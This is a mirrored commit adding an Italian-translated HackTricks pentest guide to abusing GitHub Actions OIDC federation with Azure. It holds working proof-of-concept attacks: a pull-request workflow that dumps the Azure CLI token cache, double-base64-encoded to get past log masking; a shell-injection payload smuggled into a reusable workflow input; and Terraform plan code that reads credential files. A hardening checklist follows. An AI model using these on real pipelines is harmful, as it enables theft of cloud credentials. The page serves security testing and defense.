mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-12 04:55:32 -08:00
Translated ['src/pentesting-ci-cd/github-security/abusing-github-actions
This commit is contained in:
@@ -0,0 +1,227 @@
|
||||
# Azure – Abuso della federazione (GitHub Actions OIDC / Workload Identity)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Panoramica
|
||||
|
||||
GitHub Actions può federarsi con Azure Entra ID (formerly Azure AD) usando OpenID Connect (OIDC). Un workflow di GitHub richiede un GitHub ID token (JWT) a breve durata che codifica i dettagli della run. Azure valida questo token rispetto a un Federated Identity Credential (FIC) su un App Registration (service principal) e lo scambia per token di accesso Azure (MSAL cache, bearer tokens per Azure APIs).
|
||||
|
||||
Azure valida almeno:
|
||||
- iss: https://token.actions.githubusercontent.com
|
||||
- aud: api://AzureADTokenExchange (quando viene scambiato per token Azure)
|
||||
- sub: deve corrispondere all'identificatore Subject configurato nel FIC
|
||||
|
||||
> L'aud GitHub predefinito potrebbe essere un URL di GitHub. Quando si scambia con Azure, impostare esplicitamente audience=api://AzureADTokenExchange.
|
||||
|
||||
## GitHub ID token quick PoC
|
||||
```yaml
|
||||
name: Print OIDC identity token
|
||||
on: { workflow_dispatch: {} }
|
||||
permissions:
|
||||
id-token: write
|
||||
jobs:
|
||||
view-token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: get-token
|
||||
run: |
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
|
||||
# Base64 avoid GitHub masking
|
||||
echo "$OIDC_TOKEN" | base64 -w0
|
||||
```
|
||||
Per forzare l'audience di Azure nella richiesta del token:
|
||||
```bash
|
||||
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
|
||||
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")
|
||||
```
|
||||
## Configurazione Azure (Workload Identity Federation)
|
||||
|
||||
1) Crea un'App Registration (service principal) e concedi i privilegi minimi (es., Storage Blob Data Contributor su uno specifico storage account).
|
||||
|
||||
2) Aggiungi credenziali di identità federata:
|
||||
- Issuer: https://token.actions.githubusercontent.com
|
||||
- Audience: api://AzureADTokenExchange
|
||||
- Subject identifier: strettamente limitato al contesto del workflow/di esecuzione previsto (vedi Scoping and risks qui sotto).
|
||||
|
||||
3) Usa azure/login per scambiare il GitHub ID token e accedere all'Azure CLI:
|
||||
```yaml
|
||||
name: Deploy to Azure
|
||||
on:
|
||||
push: { branches: [main] }
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
deploy:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Az CLI login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Upload file to Azure
|
||||
run: |
|
||||
az storage blob upload --data "test" -c hmm -n testblob \
|
||||
--account-name sofiatest --auth-mode login
|
||||
```
|
||||
Esempio di scambio manuale (ambito Graph mostrato; ARM o altre risorse in modo analogo):
|
||||
```http
|
||||
POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
|
||||
Host: login.microsoftonline.com
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
client_id=<app-client-id>&grant_type=client_credentials&
|
||||
client_assertion=<GitHub-ID-token>&client_info=1&
|
||||
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
|
||||
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default
|
||||
```
|
||||
## GitHub OIDC subject (sub) anatomia e personalizzazione
|
||||
|
||||
Formato predefinito del sub: repo:<org>/<repo>:<context>
|
||||
|
||||
I valori del contesto includono:
|
||||
- environment:<env>
|
||||
- pull_request (PR si attiva quando non è in un environment)
|
||||
- ref:refs/(heads|tags)/<name>
|
||||
|
||||
Claims utili spesso presenti nel payload:
|
||||
- repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor
|
||||
|
||||
Personalizza la composizione del sub tramite l'API di GitHub per includere claims aggiuntivi e ridurre il rischio di collisione:
|
||||
```bash
|
||||
gh api orgs/<org>/actions/oidc/customization/sub
|
||||
gh api repos/<org>/<repo>/actions/oidc/customization/sub
|
||||
# Example to include owner and visibility
|
||||
gh api \
|
||||
--method PUT \
|
||||
repos/<org>/<repo>/actions/oidc/customization/sub \
|
||||
-f use_default=false \
|
||||
-f include_claim_keys='["repository_owner","repository_visibility"]'
|
||||
```
|
||||
Nota: i due punti nei nomi degli environment sono codificati in URL (%3A), eliminando i vecchi trucchi di injection dei delimitatori contro il parsing di sub. Tuttavia, usare soggetti non unici (es., solo environment:<name>) è comunque insicuro.
|
||||
|
||||
## Ambito e rischi dei tipi di subject FIC
|
||||
|
||||
- Branch/Tag: sub=repo:<org>/<repo>:ref:refs/heads/<branch> or ref:refs/tags/<tag>
|
||||
- Rischio: Se il branch/tag non è protetto, qualsiasi collaboratore può pushare e ottenere token.
|
||||
- Environment: sub=repo:<org>/<repo>:environment:<env>
|
||||
- Rischio: Ambienti non protetti (nessun reviewer) permettono ai collaboratori di generare token.
|
||||
- Pull request: sub=repo:<org>/<repo>:pull_request
|
||||
- Massimo rischio: Qualsiasi collaboratore può aprire una PR e soddisfare la FIC.
|
||||
|
||||
PoC: PR‑triggered token theft (esfiltrare la Azure CLI cache scritta da azure/login):
|
||||
```yaml
|
||||
name: Steal tokens
|
||||
on: pull_request
|
||||
permissions:
|
||||
id-token: write
|
||||
contents: read
|
||||
jobs:
|
||||
extract-creds:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: azure login
|
||||
uses: azure/login@v2
|
||||
with:
|
||||
client-id: ${{ secrets.AZURE_CLIENT_ID }}
|
||||
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
|
||||
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
|
||||
- name: Extract access token
|
||||
run: |
|
||||
# Azure CLI caches tokens here on Linux runners
|
||||
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
|
||||
# Decode twice locally to recover the bearer token
|
||||
```
|
||||
Posizioni dei file correlate e note:
|
||||
- Linux/macOS: ~/.azure/msal_token_cache.json contiene MSAL tokens per le sessioni az CLI
|
||||
- Windows: msal_token_cache.bin nel profilo utente; DPAPI‑protected
|
||||
|
||||
## Reusable workflows and job_workflow_ref scoping
|
||||
|
||||
Invocare un workflow riutilizzabile aggiunge job_workflow_ref al GitHub ID token, ad esempio:
|
||||
```
|
||||
ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main
|
||||
```
|
||||
Esempio FIC per associare sia il repository chiamante che il workflow riutilizzabile:
|
||||
```
|
||||
sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>
|
||||
```
|
||||
Configura le claims nel repo chiamante in modo che sia repo che job_workflow_ref siano presenti in sub:
|
||||
```http
|
||||
PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
|
||||
Host: api.github.com
|
||||
Authorization: token <access token>
|
||||
|
||||
{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}
|
||||
```
|
||||
Avviso: Se leghi soltanto job_workflow_ref nel FIC, un attaccante potrebbe creare un repo diverso nella stessa org, eseguire lo stesso reusable workflow sullo stesso ref, soddisfare il FIC e mint tokens. Includi sempre anche il caller repo.
|
||||
|
||||
## Vettori di esecuzione di codice che bypassano le protezioni di job_workflow_ref
|
||||
|
||||
Anche con job_workflow_ref correttamente limitato, qualunque dato controllato dal caller che raggiunga la shell senza un quoting sicuro può portare all'esecuzione di codice all'interno del contesto del workflow protetto.
|
||||
|
||||
Esempio di reusable step vulnerabile (interpolazione non quotata):
|
||||
```yaml
|
||||
- name: Example Security Check
|
||||
run: |
|
||||
echo "Checking file contents"
|
||||
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
|
||||
echo "Malicious content detected!"; exit 1
|
||||
else
|
||||
echo "File contents are safe."
|
||||
fi
|
||||
```
|
||||
Input del chiamante malevolo per eseguire comandi e exfiltrate the Azure token cache:
|
||||
```yaml
|
||||
with:
|
||||
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'
|
||||
```
|
||||
## Terraform plan come una primitiva di esecuzione nelle PRs
|
||||
|
||||
Tratta Terraform plan come esecuzione di codice. Durante il plan, Terraform può:
|
||||
- Leggere file arbitrari tramite funzioni come file()
|
||||
- Eseguire comandi tramite l'external data source
|
||||
|
||||
Esempio per exfiltrate Azure token cache durante il plan:
|
||||
```hcl
|
||||
output "msal_token_cache" {
|
||||
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
|
||||
}
|
||||
```
|
||||
Oppure usare external per eseguire comandi arbitrari:
|
||||
```hcl
|
||||
data "external" "exfil" {
|
||||
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
|
||||
}
|
||||
```
|
||||
Concedere FICs utilizzabili su piani attivati da PR espone token privilegiati e può predisporre un apply distruttivo in seguito. Identità separate per plan vs apply; non permettere mai token privilegiati in contesti PR non attendibili.
|
||||
|
||||
## Checklist di hardening
|
||||
|
||||
- Non usare mai sub=...:pull_request per FICs sensibili
|
||||
- Proteggi qualsiasi branch/tag/environment referenziato da FICs (branch protection, environment reviewers)
|
||||
- Preferisci FICs limitate sia al repo che a job_workflow_ref per reusable workflows
|
||||
- Personalizza GitHub OIDC sub per includere claim unici (es., repo, job_workflow_ref, repository_owner)
|
||||
- Elimina l'interpolazione non quotata degli input del caller nelle run steps; codifica o metti tra virgolette in modo sicuro
|
||||
- Tratta terraform plan come esecuzione di codice; limita o isola le identità nei contesti PR
|
||||
- Applica il principio del privilegio minimo alle App Registrations; separa le identità per plan e apply
|
||||
- Fissa actions e reusable workflows ai commit SHAs (evita pin su branch/tag)
|
||||
|
||||
## Suggerimenti per i test manuali
|
||||
|
||||
- Richiedi in-workflow un GitHub ID token e stampalo in base64 per evitare il masking
|
||||
- Decodifica il JWT per ispezionare i claim: iss, aud, sub, job_workflow_ref, repository, ref
|
||||
- Scambia manualmente l'ID token contro login.microsoftonline.com per confermare la corrispondenza delle FIC e gli scope
|
||||
- Dopo azure/login, leggi ~/.azure/msal_token_cache.json per verificare la presenza dei dati del token
|
||||
|
||||
## References
|
||||
|
||||
- [GitHub Actions → Azure via OIDC: weak FIC and hardening (BinarySecurity)](https://binarysecurity.no/posts/2025/09/securing-gh-actions-part2)
|
||||
- [azure/login action](https://github.com/Azure/login)
|
||||
- [Terraform external data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/external)
|
||||
- [gh CLI](https://cli.github.com/)
|
||||
- [PaloAltoNetworks/github-oidc-utils](https://github.com/PaloAltoNetworks/github-oidc-utils)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user